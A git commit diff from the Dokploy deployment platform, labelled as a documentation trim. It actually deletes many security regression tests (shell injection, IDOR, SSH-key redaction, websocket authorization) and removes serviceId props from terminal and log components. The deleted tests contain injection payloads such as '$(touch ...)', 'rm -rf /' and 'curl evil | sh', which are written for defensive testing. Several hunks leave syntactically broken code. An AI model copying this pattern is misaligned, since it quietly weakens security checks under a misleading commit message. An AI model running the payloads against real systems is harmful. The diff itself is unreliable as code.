docs: trim block comment on shellWord helper

2026-07-23 23:05:25 +02:00 · 2026-07-19 21:36:25 -06:00
109 changed files with 348 additions and 1653 deletions
--- a/apps/dokploy/test/backups/db-backup-restore-injection.test.ts
+++ b/apps/dokploy/test/backups/db-backup-restore-injection.test.ts
@@ -1,106 +0,0 @@
 import { execSync } from "node:child_process";
 import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
 import {
 	getLibsqlBackupCommand,
 	getMariadbBackupCommand,
 	getMongoBackupCommand,
 	getMysqlBackupCommand,
 	getPostgresBackupCommand,
 } from "@dokploy/server/utils/backups/utils";
 import {
 	getMariadbRestoreCommand,
 	getMongoRestoreCommand,
 	getMysqlRestoreCommand,
 	getPostgresRestoreCommand,
 } from "@dokploy/server/utils/restore/utils";
 import { afterAll, beforeAll, describe, expect, it } from "vitest";
 // A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
 // exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
 // test exercises BOTH shell layers (outer /bin/sh building the docker command,
 // and the inner shell) the way production does, without needing a container.
 const stub = `/tmp/docker_stub_${process.pid}`;
 const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
 beforeAll(() => {
 	writeFileSync(
 		stub,
 		`#!/bin/bash
 shift # exec
 envs=()
 while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
 shift 2 # -i CONTAINER
 shell="$1"; shift # bash|sh
 shift # -c
 env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
 `,
 	);
 	chmodSync(stub, 0o755);
 });
 afterAll(() => {
 	if (existsSync(stub)) rmSync(stub);
 	if (existsSync(MARK)) rmSync(MARK);
 });
 // Run a builder-produced command with `docker` pointed at the stub; return true
 // if no injected command fired.
 const runsSafely = (command: string) => {
 	if (existsSync(MARK)) rmSync(MARK);
 	const withStub = command.replace(/^docker /, `${stub} `);
 	try {
 		execSync(withStub, {
 			shell: "/bin/bash",
 			stdio: "ignore",
 			env: { ...process.env, CONTAINER_ID: "test" },
 		});
 	} catch {}
 	const fired = existsSync(MARK);
 	if (existsSync(MARK)) rmSync(MARK);
 	return !fired;
 };
 // Payloads that try to break out of every quoting style used in the builders.
 const p = (mark: string) => [
 	`$(touch ${mark})`,
 	"`touch " + mark + "`",
 	`x'; touch ${mark}; '`,
 	`x"; touch ${mark}; echo "`,
 	`x; touch ${mark}`,
 ];
 describe("database backup/restore command injection", () => {
 	const cases: Array<[string, (v: string) => string]> = [
 		["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
 		["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
 		["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
 		["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
 		["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
 		["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
 		["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
 		[
 			"mariadb restore (password)",
 			(v) => getMariadbRestoreCommand("db", "u", v),
 		],
 		["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
 		["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
 	];
 	for (const [label, build] of cases) {
 		it(`${label} is not injectable`, () => {
 			for (const payload of p(MARK)) {
 				expect(runsSafely(build(payload))).toBe(true);
 			}
 		});
 	}
 	it("preserves a legitimate database name (passed through as env var)", () => {
 		const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
 		// Values live in -e assignments, never inline in the pg_dump text.
 		expect(cmd).toContain("-e DB_NAME=my-db_prod");
 		expect(cmd).toContain("-e DB_USER=app_user");
 		expect(cmd).toContain(
 			'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
 		);
 	});
 });
--- a/apps/dokploy/test/cluster/registry-node-injection.test.ts
+++ b/apps/dokploy/test/cluster/registry-node-injection.test.ts
@@ -1,70 +0,0 @@
 import { execSync } from "node:child_process";
 import { existsSync, rmSync } from "node:fs";
 import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
 import { parse, quote } from "shell-quote";
 import { describe, expect, it } from "vitest";
 const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
 const runsSafely = (command: string) => {
 	if (existsSync(MARK)) rmSync(MARK);
 	try {
 		execSync(command, { shell: "/bin/sh", stdio: "ignore" });
 	} catch {}
 	const fired = existsSync(MARK);
 	if (existsSync(MARK)) rmSync(MARK);
 	return !fired;
 };
 const PAYLOADS = (m: string) => [
 	`$(touch ${m})`,
 	"`touch " + m + "`",
 	`x; touch ${m}`,
 	`x | touch ${m}`,
 ];
 describe("cluster removeWorker nodeId injection", () => {
 	// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
 	it("escapes nodeId in drain/remove commands", () => {
 		for (const nodeId of PAYLOADS(MARK)) {
 			const drain = `: node update --availability drain ${quote([nodeId])}`;
 			const remove = `: node rm ${quote([nodeId])} --force`;
 			expect(runsSafely(drain)).toBe(true);
 			expect(runsSafely(remove)).toBe(true);
 		}
 	});
 });
 describe("swarm upload registry tag/push injection", () => {
 	// registryTag is built from registryUrl/username/imagePrefix (username and
 	// imagePrefix have no schema regex). Assert docker tag/push stay safe.
 	it("escapes a malicious imagePrefix flowing into the registry tag", () => {
 		for (const payload of PAYLOADS(MARK)) {
 			const registryTag = getRegistryTag(
 				{
 					registryUrl: "registry.example.com",
 					imagePrefix: payload,
 					username: "user",
 				} as any,
 				"app:latest",
 			);
 			const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
 			const pushCmd = `: push ${quote([registryTag])}`;
 			expect(runsSafely(tagCmd)).toBe(true);
 			expect(runsSafely(pushCmd)).toBe(true);
 		}
 	});
 	it("keeps a legitimate registry tag intact", () => {
 		const tag = getRegistryTag(
 			{
 				registryUrl: "registry.example.com",
 				imagePrefix: "team",
 				username: "user",
 			} as any,
 			"myapp:1.2.3",
 		);
 		expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
 		expect(parse(quote([tag]))).toEqual([tag]);
 	});
 });
--- a/apps/dokploy/test/compose/compose-command-injection.test.ts
+++ b/apps/dokploy/test/compose/compose-command-injection.test.ts
@@ -1,104 +0,0 @@
 import { execSync } from "node:child_process";
 import { existsSync, rmSync } from "node:fs";
 import { createCommand } from "@dokploy/server/utils/builders/compose";
 import { parse, quote } from "shell-quote";
 import { describe, expect, it } from "vitest";
 const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
 const base = {
 	composeType: "docker-compose" as const,
 	appName: "compose-app",
 	sourceType: "raw" as const,
 	command: "",
 	composePath: "docker-compose.yml",
 };
 // createCommand output is interpolated as `docker ${command}` at the deploy
 // sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
 const runsSafely = (command: string) => {
 	if (existsSync(MARK)) rmSync(MARK);
 	try {
 		execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
 	} catch {}
 	const fired = existsSync(MARK);
 	if (existsSync(MARK)) rmSync(MARK);
 	return !fired;
 };
 const PAYLOADS = [
 	`$(touch ${MARK})`,
 	"`touch " + MARK + "`",
 	`x; touch ${MARK}`,
 	`x | touch ${MARK}`,
 ];
 describe("compose createCommand injection", () => {
 	it("escapes composePath (docker-compose)", () => {
 		for (const p of PAYLOADS) {
 			const cmd = createCommand({
 				...base,
 				sourceType: "github",
 				composePath: p,
 			} as any);
 			expect(runsSafely(cmd)).toBe(true);
 		}
 	});
 	it("escapes composePath (stack deploy)", () => {
 		for (const p of PAYLOADS) {
 			const cmd = createCommand({
 				...base,
 				composeType: "stack",
 				sourceType: "github",
 				composePath: p,
 			} as any);
 			expect(runsSafely(cmd)).toBe(true);
 		}
 	});
 	it("escapes appName", () => {
 		for (const p of PAYLOADS) {
 			const cmd = createCommand({
 				...base,
 				sourceType: "github",
 				appName: p,
 				composePath: "docker-compose.yml",
 			} as any);
 			expect(runsSafely(cmd)).toBe(true);
 		}
 	});
 	it("rejects a custom command containing shell control characters", () => {
 		for (const bad of [
 			"up -d; rm -rf /",
 			"up && curl evil | sh",
 			"up $(touch x)",
 			"up `id`",
 		]) {
 			expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
 				/Invalid characters/,
 			);
 		}
 	});
 	it("allows a legitimate custom command", () => {
 		const cmd = createCommand({
 			...base,
 			command: "compose -f docker-compose.yml -p app up -d --build",
 		} as any);
 		expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
 	});
 	it("keeps a legitimate composePath intact", () => {
 		const cmd = createCommand({
 			...base,
 			sourceType: "github",
 			composePath: "deploy/docker-compose.prod.yml",
 		} as any);
 		expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
 		expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
 			"deploy/docker-compose.prod.yml",
 		);
 	});
 });
--- a/apps/dokploy/test/deploy/db-service-dockerimage-injection.test.ts
+++ b/apps/dokploy/test/deploy/db-service-dockerimage-injection.test.ts
@@ -1,41 +0,0 @@
 import { execSync } from "node:child_process";
 import { existsSync, rmSync } from "node:fs";
 import { parse, quote } from "shell-quote";
 import { describe, expect, it } from "vitest";
 // The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
 // build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
 // path. `docker` is replaced by `:` so only the injection surface is exercised.
 const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
 const PAYLOADS = [
 	"$(touch %MARK%)",
 	"`touch %MARK%`",
 	"redis:7; touch %MARK%",
 	"redis:7 && touch %MARK%",
 	"redis:7 | touch %MARK%",
 ];
 describe("database service dockerImage command injection", () => {
 	it("does not execute injected commands from dockerImage", () => {
 		for (const template of PAYLOADS) {
 			if (existsSync(MARK)) rmSync(MARK);
 			const dockerImage = template.replace("%MARK%", MARK);
 			const command = `: pull ${quote([dockerImage])}`;
 			try {
 				execSync(command, { shell: "/bin/sh", stdio: "ignore" });
 			} catch {}
 			expect(existsSync(MARK)).toBe(false);
 		}
 		if (existsSync(MARK)) rmSync(MARK);
 	});
 	it("keeps a legitimate image tag intact", () => {
 		expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
 			"postgres:16.4-alpine",
 		]);
 		expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
 			"ghcr.io/org/db:latest",
 		]);
 	});
 });
--- a/apps/dokploy/test/deploy/docker-build-injection.test.ts
+++ b/apps/dokploy/test/deploy/docker-build-injection.test.ts
@@ -1,66 +0,0 @@
 import { execSync } from "node:child_process";
 import { existsSync, rmSync } from "node:fs";
 import { parse, quote } from "shell-quote";
 import { describe, expect, it } from "vitest";
 // Reproduces the escaping applied at the docker build/pull sinks and asserts no
 // payload can break out of the command. `docker`/`cd` are replaced by `:` so the
 // test exercises only the injection surface, not real docker.
 const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
 const runAndCheckSafe = (command: string) => {
 	if (existsSync(MARK)) rmSync(MARK);
 	try {
 		execSync(command, { shell: "/bin/sh", stdio: "ignore" });
 	} catch {
 		// no-op stand-ins may exit non-zero; only the marker matters.
 	}
 	const fired = existsSync(MARK);
 	if (existsSync(MARK)) rmSync(MARK);
 	return !fired;
 };
 const PAYLOADS = [
 	"$(touch %MARK%)",
 	"`touch %MARK%`",
 	"x; touch %MARK%",
 	"x && touch %MARK%",
 	"x | touch %MARK%",
 ];
 describe("docker build/pull command injection", () => {
 	it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
 		for (const p of PAYLOADS) {
 			const dockerImage = p.replace("%MARK%", MARK);
 			const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
 			expect(runAndCheckSafe(command)).toBe(true);
 		}
 	});
 	it("dockerContextPath (docker-file: cd) is escaped", () => {
 		for (const p of PAYLOADS) {
 			const dockerContextPath = p.replace("%MARK%", MARK);
 			const command = `: cd ${quote([dockerContextPath])}`;
 			expect(runAndCheckSafe(command)).toBe(true);
 		}
 	});
 	it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
 		for (const p of PAYLOADS) {
 			const publishDirectory = p.replace("%MARK%", MARK);
 			const containerId = "buildabc";
 			const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
 			expect(runAndCheckSafe(command)).toBe(true);
 		}
 	});
 	it("keeps a legitimate image / path intact as a single token", () => {
 		// Escaping may add backslashes (e.g. before ':'), but the shell must parse
 		// the result back to exactly the original single token.
 		expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
 		expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
 			"registry.io/team/app:tag",
 		]);
 		expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
 	});
 });
--- a/apps/dokploy/test/git-provider/git-clone-command-injection.test.ts
+++ b/apps/dokploy/test/git-provider/git-clone-command-injection.test.ts
@@ -1,10 +1,8 @@
 import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
-import { parse, quote } from "shell-quote";
+import { shellWord } from "@dokploy/server/utils/providers/utils";
 import { parse } from "shell-quote";
 import { describe, expect, it } from "vitest";
 // How git-provider commands escape a single user value before it reaches the shell.
 const shellArg = (value: string) => quote([String(value ?? "")]);
 // Payloads that, if reached a shell unescaped, would execute commands.
 const INJECTION_PAYLOADS = [
 	"$(touch /tmp/pwned)",
@@ -26,10 +24,10 @@ const LEGIT_VALUES = [
 	"https://gitlab.example.com/group/sub/project.git",
 ];
-describe("git provider shell escaping (quote)", () => {
+describe("shellWord (git provider shell escaping)", () => {
 	it("collapses every injection payload into a single literal token (no shell operators)", () => {
 		for (const payload of INJECTION_PAYLOADS) {
-			const parsed = parse(shellArg(payload));
+			const parsed = parse(shellWord(payload));
 			// A safely escaped value parses back to exactly the original string,
 			// as ONE token. If escaping failed, parse() would emit operator
 			// objects such as { op: ";" } or { op: "$(" } instead.
@@ -39,7 +37,7 @@ describe("git provider shell escaping (quote)", () => {
 	it("leaves legitimate URLs and branch names intact", () => {
 		for (const value of LEGIT_VALUES) {
-			expect(parse(shellArg(value))).toEqual([value]);
+			expect(parse(shellWord(value))).toEqual([value]);
 		}
 	});
 });
--- a/apps/dokploy/test/git-provider/git-provider-idor.test.ts
+++ b/apps/dokploy/test/git-provider/git-provider-idor.test.ts
@@ -1,91 +0,0 @@
 import { TRPCError } from "@trpc/server";
 import { beforeEach, describe, expect, it, vi } from "vitest";
 // Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
 // assertGitProviderAccess) runs against controlled data. Mocking the exported
 // function would NOT intercept the intra-module call, so we mock one layer down.
 const mockDb = vi.hoisted(() => ({
 	query: {
 		gitProvider: {
 			findMany: vi.fn(),
 		},
 		member: {
 			findFirst: vi.fn(),
 		},
 	},
 }));
 vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
 const mockHasValidLicense = vi.hoisted(() => vi.fn());
 vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
 	hasValidLicense: mockHasValidLicense,
 }));
 import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
 const ORG = "org-1";
 const USER = "user-member";
 const session = { userId: USER, activeOrganizationId: ORG };
 // Provider owned by USER within ORG -> should be accessible.
 const providerMine = {
 	gitProviderId: "gp-mine",
 	userId: USER,
 	sharedWithOrganization: false,
 };
 // Provider owned by someone else within ORG, not shared, not assigned.
 const providerOther = {
 	gitProviderId: "gp-other",
 	userId: "user-2",
 	sharedWithOrganization: false,
 };
 beforeEach(() => {
 	vi.clearAllMocks();
 	mockHasValidLicense.mockResolvedValue(false);
 	mockDb.query.gitProvider.findMany.mockResolvedValue([
 		providerMine,
 		providerOther,
 	]);
 	mockDb.query.member.findFirst.mockResolvedValue({
 		role: "member",
 		accessedGitProviders: [],
 	});
 });
 describe("assertGitProviderAccess (git provider IDOR guard)", () => {
 	it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
 		await expect(
 			assertGitProviderAccess(session, {
 				gitProviderId: "gp-mine",
 				organizationId: "org-2",
 			}),
 		).rejects.toMatchObject({ code: "NOT_FOUND" });
 	});
 	it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
 		await expect(
 			assertGitProviderAccess(session, {
 				gitProviderId: "gp-other",
 				organizationId: ORG,
 			}),
 		).rejects.toMatchObject({ code: "FORBIDDEN" });
 	});
 	it("allows a same-org provider the caller owns", async () => {
 		await expect(
 			assertGitProviderAccess(session, {
 				gitProviderId: "gp-mine",
 				organizationId: ORG,
 			}),
 		).resolves.toBeUndefined();
 	});
 	it("throws a TRPCError so tRPC maps the HTTP status", async () => {
 		const err = await assertGitProviderAccess(session, {
 			gitProviderId: "gp-mine",
 			organizationId: "org-2",
 		}).catch((e) => e);
 		expect(err).toBeInstanceOf(TRPCError);
 	});
 });
--- a/apps/dokploy/test/server/server-sshkey-redaction.test.ts
+++ b/apps/dokploy/test/server/server-sshkey-redaction.test.ts
@@ -1,44 +0,0 @@
 import { redactServerSshKey } from "@dokploy/server/services/server";
 import { describe, expect, it } from "vitest";
 describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
 	it("blanks the private key while keeping the rest of the ssh key intact", () => {
 		const server = {
 			serverId: "srv-1",
 			name: "prod",
 			sshKey: {
 				sshKeyId: "key-1",
 				publicKey: "ssh-ed25519 AAAA...",
 				privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
 			},
 		};
 		const redacted = redactServerSshKey(server);
 		expect(redacted.sshKey.privateKey).toBe("");
 		// Non-secret fields and the surrounding record must survive untouched.
 		expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
 		expect(redacted.serverId).toBe("srv-1");
 		expect(redacted.name).toBe("prod");
 	});
 	it("does not mutate the original record", () => {
 		const server = {
 			serverId: "srv-1",
 			sshKey: { privateKey: "top-secret" },
 		};
 		redactServerSshKey(server);
 		expect(server.sshKey.privateKey).toBe("top-secret");
 	});
 	it("is a no-op when the server has no ssh key", () => {
 		const server = { serverId: "srv-2", sshKey: null };
 		expect(redactServerSshKey(server)).toEqual(server);
 	});
 	it("handles a record without a loaded sshKey relation", () => {
 		// e.g. server.update returns the plain row where sshKey is not populated.
 		const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
 		expect(redactServerSshKey(server)).toEqual(server);
 	});
 });
--- a/apps/dokploy/test/server/swarm-nodeid-injection.test.ts
+++ b/apps/dokploy/test/server/swarm-nodeid-injection.test.ts
@@ -1,41 +0,0 @@
 import { execSync } from "node:child_process";
 import { existsSync, rmSync } from "node:fs";
 import { quote } from "shell-quote";
 import { describe, expect, it } from "vitest";
 // Mirrors how getNodeInfo builds its command in services/docker.ts:
 //   `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
 // We swap `docker node inspect` for `:` (a no-op) so the test only exercises
 // whether the nodeId payload can break out of the command, not real docker.
 const buildCommand = (nodeId: string) =>
 	`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
 const INJECTION_NODE_IDS = [
 	"$(touch %MARK%)",
 	"`touch %MARK%`",
 	"; touch %MARK%",
 	"abc | touch %MARK%",
 	"&& touch %MARK%",
 ];
 describe("getNodeInfo nodeId command injection", () => {
 	it("does not execute injected commands from the nodeId", () => {
 		const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
 		for (const template of INJECTION_NODE_IDS) {
 			if (existsSync(mark)) rmSync(mark);
 			const nodeId = template.replace("%MARK%", mark);
 			try {
 				execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
 			} catch {
 				// A non-zero exit from the no-op is fine; we only care about the marker.
 			}
 			expect(existsSync(mark)).toBe(false);
 		}
 		if (existsSync(mark)) rmSync(mark);
 	});
 	it("keeps a legitimate node id intact as a single literal token", () => {
 		const nodeId = "abc123def456";
 		expect(quote([nodeId])).toBe(nodeId);
 	});
 });
--- a/apps/dokploy/test/wss/authorize.test.ts
+++ b/apps/dokploy/test/wss/authorize.test.ts
@@ -1,104 +0,0 @@
 import { beforeEach, describe, expect, it, vi } from "vitest";
 // Mock the permission + server helpers the wss authorizer composes.
 const mockHasPermission = vi.hoisted(() => vi.fn());
 const mockFindMember = vi.hoisted(() => vi.fn());
 const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
 vi.mock("@dokploy/server/services/permission", () => ({
 	hasPermission: mockHasPermission,
 	findMemberByUserId: mockFindMember,
 	checkServiceAccess: mockCheckServiceAccess,
 }));
 const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
 vi.mock("@dokploy/server", () => ({
 	getAccessibleServerIds: mockGetAccessibleServerIds,
 }));
 import {
 	canAccessDockerOverWss,
 	canAccessTerminalOverWss,
 } from "@/server/wss/authorize";
 const USER = { id: "user-1" };
 const SESSION = { activeOrganizationId: "org-1" };
 beforeEach(() => {
 	vi.clearAllMocks();
 });
 describe("canAccessDockerOverWss", () => {
 	it("denies when there is no user or session", async () => {
 		expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
 		expect(await canAccessDockerOverWss(USER, null)).toBe(false);
 	});
 	it("denies a member without docker permission", async () => {
 		mockHasPermission.mockResolvedValue(false);
 		expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
 	});
 	it("allows when the caller has docker permission (no server)", async () => {
 		mockHasPermission.mockResolvedValue(true);
 		expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
 	});
 	it("denies a remote server the caller cannot access, even with docker permission", async () => {
 		mockHasPermission.mockResolvedValue(true);
 		mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
 		expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
 	});
 	it("allows a remote server the caller can access", async () => {
 		mockHasPermission.mockResolvedValue(true);
 		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
 		expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
 	});
 	it("denies when the container belongs to a service the caller cannot access", async () => {
 		mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
 		expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
 			false,
 		);
 	});
 	it("allows service access even without docker permission or server access", async () => {
 		// A member granted the service but without canAccessToDocker, whose
 		// service runs on a server they were not individually granted, must still
 		// read its logs — matches application.readLogs (service access only).
 		mockHasPermission.mockResolvedValue(false);
 		mockGetAccessibleServerIds.mockResolvedValue(new Set());
 		mockCheckServiceAccess.mockResolvedValue(undefined);
 		expect(
 			await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
 		).toBe(true);
 		// Service path is authoritative — it must not fall through to docker/server.
 		expect(mockHasPermission).not.toHaveBeenCalled();
 		expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
 	});
 });
 describe("canAccessTerminalOverWss", () => {
 	it("denies the local host terminal to a plain member", async () => {
 		mockFindMember.mockResolvedValue({ role: "member" });
 		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
 	});
 	it("allows the local host terminal to an owner", async () => {
 		mockFindMember.mockResolvedValue({ role: "owner" });
 		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
 	});
 	it("allows the local host terminal to an admin", async () => {
 		mockFindMember.mockResolvedValue({ role: "admin" });
 		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
 	});
 	it("gates a remote server terminal on server access", async () => {
 		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
 		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
 		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
 		// role lookup must not be needed for the remote path
 		expect(mockFindMember).not.toHaveBeenCalled();
 	});
 });
--- a/apps/dokploy/components/dashboard/application/environment/show.tsx
+++ b/apps/dokploy/components/dashboard/application/environment/show.tsx
@@ -60,16 +60,14 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 	const currentBuildArgs = form.watch("buildArgs");
 	const currentBuildSecrets = form.watch("buildSecrets");
 	const currentCreateEnvFile = form.watch("createEnvFile");
 	const { isDirty } = form.formState;
 	const hasChanges =
 		currentEnv !== (data?.env || "") ||
 		currentBuildArgs !== (data?.buildArgs || "") ||
 		currentBuildSecrets !== (data?.buildSecrets || "") ||
 		currentCreateEnvFile !== (data?.createEnvFile ?? true);
 	// Skip reset while editing so background refetches don't wipe edits
 	useEffect(() => {
-		if (data && !isDirty) {
+		if (data) {
 			form.reset({
 				env: data.env || "",
 				buildArgs: data.buildArgs || "",
@@ -77,7 +75,7 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 				createEnvFile: data.createEnvFile ?? true,
 			});
 		}
-	}, [data, isDirty, form]);
+	}, [data, form]);
 	const onSubmit = async (formData: EnvironmentSchema) => {
 		mutateAsync({
@@ -89,7 +87,6 @@ export const ShowEnvironment = ({ applicationId }: Props) => {
 		})
 			.then(async () => {
 				toast.success("Environments Added");
 				form.reset(formData);
 				await refetch();
 			})
 			.catch(() => {
--- a/apps/dokploy/components/dashboard/application/general/show.tsx
+++ b/apps/dokploy/components/dashboard/application/general/show.tsx
@@ -271,7 +271,6 @@ export const ShowGeneralApplication = ({ applicationId }: Props) => {
 					<DockerTerminalModal
 						appName={data?.appName || ""}
 						serverId={data?.serverId || ""}
 						serviceId={applicationId}
 					>
 						<Button
 							variant="outline"
--- a/apps/dokploy/components/dashboard/application/logs/show.tsx
+++ b/apps/dokploy/components/dashboard/application/logs/show.tsx
@@ -50,10 +50,9 @@ export const badgeStateColor = (state: string) => {
 interface Props {
 	appName: string;
 	serverId?: string;
 	serviceId?: string;
 }
-export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
+export const ShowDockerLogs = ({ appName, serverId }: Props) => {
 	const [containerId, setContainerId] = useState<string | undefined>();
 	const [option, setOption] = useState<"swarm" | "native">("native");
@@ -183,7 +182,6 @@ export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
 					serverId={serverId || ""}
 					containerId={containerId || "select-a-container"}
 					runType={option}
 					serviceId={serviceId}
 				/>
 			</CardContent>
 		</Card>
--- a/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx
+++ b/apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx
@@ -55,14 +55,12 @@ interface Props {
 	appName: string;
 	serverId?: string;
 	appType: "stack" | "docker-compose";
 	serviceId?: string;
 }
 export const ShowComposeContainers = ({
 	appName,
 	appType,
 	serverId,
 	serviceId,
 }: Props) => {
 	const { data, isPending, refetch } =
 		api.docker.getContainersByAppNameMatch.useQuery(
@@ -124,7 +122,6 @@ export const ShowComposeContainers = ({
 										key={container.containerId}
 										container={container}
 										serverId={serverId}
 										serviceId={serviceId}
 										onActionComplete={() => refetch()}
 									/>
 								))}
@@ -145,14 +142,12 @@ interface ContainerRowProps {
 		status: string;
 	};
 	serverId?: string;
 	serviceId?: string;
 	onActionComplete: () => void;
 }
 const ContainerRow = ({
 	container,
 	serverId,
 	serviceId,
 	onActionComplete,
 }: ContainerRowProps) => {
 	const [logsOpen, setLogsOpen] = useState(false);
@@ -241,7 +236,6 @@ const ContainerRow = ({
 							<DockerTerminalModal
 								containerId={container.containerId}
 								serverId={serverId || ""}
 								serviceId={serviceId}
 							>
 								Terminal
 							</DockerTerminalModal>
@@ -286,7 +280,6 @@ const ContainerRow = ({
 								containerId={container.containerId}
 								serverId={serverId}
 								runType="native"
 								serviceId={serviceId}
 							/>
 						</div>
 					</DialogContent>
--- a/apps/dokploy/components/dashboard/compose/general/actions.tsx
+++ b/apps/dokploy/components/dashboard/compose/general/actions.tsx
@@ -84,19 +84,19 @@ export const ComposeActions = ({ composeId }: Props) => {
 				)}
 				{canDeploy && (
 					<DialogAction
-						title="Rebuild Compose"
+						title="Reload Compose"
-						description="Are you sure you want to rebuild this compose?"
+						description="Are you sure you want to reload this compose?"
 						type="default"
 						onClick={async () => {
 							await redeploy({
 								composeId: composeId,
 							})
 								.then(() => {
-									toast.success("Compose rebuilt successfully");
+									toast.success("Compose reloaded successfully");
 									refetch();
 								})
 								.catch(() => {
-									toast.error("Error rebuilding compose");
+									toast.error("Error reloading compose");
 								});
 						}}
 					>
@@ -109,14 +109,12 @@ export const ComposeActions = ({ composeId }: Props) => {
 								<TooltipTrigger asChild>
 									<div className="flex items-center">
 										<RefreshCcw className="size-4 mr-1" />
-										Rebuild
+										Reload
 									</div>
 								</TooltipTrigger>
 								<TooltipPrimitive.Portal>
 									<TooltipContent sideOffset={5} className="z-60">
-										<p>
+										<p>Reload the compose without rebuilding it</p>
 											Rebuilds the compose without downloading the source code
 										</p>
 									</TooltipContent>
 								</TooltipPrimitive.Portal>
 							</Tooltip>
@@ -208,7 +206,6 @@ export const ComposeActions = ({ composeId }: Props) => {
 				appName={data?.appName || ""}
 				serverId={data?.serverId || ""}
 				appType={data?.composeType || "docker-compose"}
 				serviceId={data?.composeId}
 			>
 				<Button
 					variant="outline"
--- a/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx
+++ b/apps/dokploy/components/dashboard/compose/logs/show-stack.tsx
@@ -35,14 +35,9 @@ export const DockerLogs = dynamic(
 interface Props {
 	appName: string;
 	serverId?: string;
 	serviceId?: string;
 }
-export const ShowDockerLogsStack = ({
+export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
 	appName,
 	serverId,
 	serviceId,
 }: Props) => {
 	const [option, setOption] = useState<"swarm" | "native">("native");
 	const [containerId, setContainerId] = useState<string | undefined>();
@@ -172,7 +167,6 @@ export const ShowDockerLogsStack = ({
 					serverId={serverId || ""}
 					containerId={containerId || "select-a-container"}
 					runType={option}
 					serviceId={serviceId}
 				/>
 			</CardContent>
 		</Card>
